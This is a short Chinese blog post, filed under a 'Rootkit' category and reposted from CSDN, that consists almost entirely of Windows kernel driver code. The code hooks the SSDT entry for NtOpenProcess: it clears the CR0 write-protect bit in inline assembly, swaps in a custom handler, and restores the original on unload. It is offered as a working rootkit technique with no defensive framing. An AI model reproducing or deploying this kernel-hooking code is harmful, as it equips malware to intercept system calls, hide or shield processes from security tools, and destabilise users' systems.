HOOK SSDT

HOOK SSDT

分类： Rootkit﹏ 2010-09-12 20:57 59人阅读 评论(0) 收藏 举报

[cpp] view plain copy print ?

1. NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath )
2. {
3. DriverObject->DriverUnload = OnUnload;
4. Hook();
5. return STATUS_SUCCESS;
6. }
9. // 此处修改SSDT中的NtOpenProcess服务地址
10. VOID Hook()
11. {
12. ULONG Address;
13. // 0x7A为NtOpenProcess服务号
14. Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;
15. RealServiceAddress = *(ULONG*)Address;
17. RealNtOpenProcess = (NTOPENPROCESS)RealServiceAddress;
19. DbgPrint( "Address of Real NtOpenProcess: 0x%08X/n", RealServiceAddress );
21. DbgPrint(" Address of MyNtOpenProcess: 0x%08X/n", MyNtOpenProcess );
23. // 去掉内存保护 ,这个主要是跟内存分页有关的，出现BSOD
24. __asm
25. {
26. cli
27. mov eax, cr0
28. and eax, not 10000h
29. mov cr0, eax
30. }
32. // 修改SSDT中NtOpenProcess服务的地址
33. *((ULONG*)Address) = (ULONG)MyNtOpenProcess;
35. // 恢复内存保护
36. __asm
37. {
38. mov eax, cr0
39. or eax, 10000h
40. mov cr0, eax
41. sti
42. }
43. }
46. //这里是恢复
47. VOID Unhook()
48. {
49. ULONG Address;
50. Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;
52. //一样的去掉内存保护
53. __asm
54. {
55. cli
56. mov eax, cr0
57. and eax, not 10000h
58. mov cr0, eax
59. }
61. // 还原SSDT
62. *((ULONG*)Address) = (ULONG)RealServiceAddress;
64. __asm
65. {
66. mov eax, cr0
67. or eax, 10000h
68. mov cr0, eax
69. sti
70. }
72. DbgPrint("Unhook");
73. }
76. 本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/webxeyes/archive/2009/03/17/3996783.aspx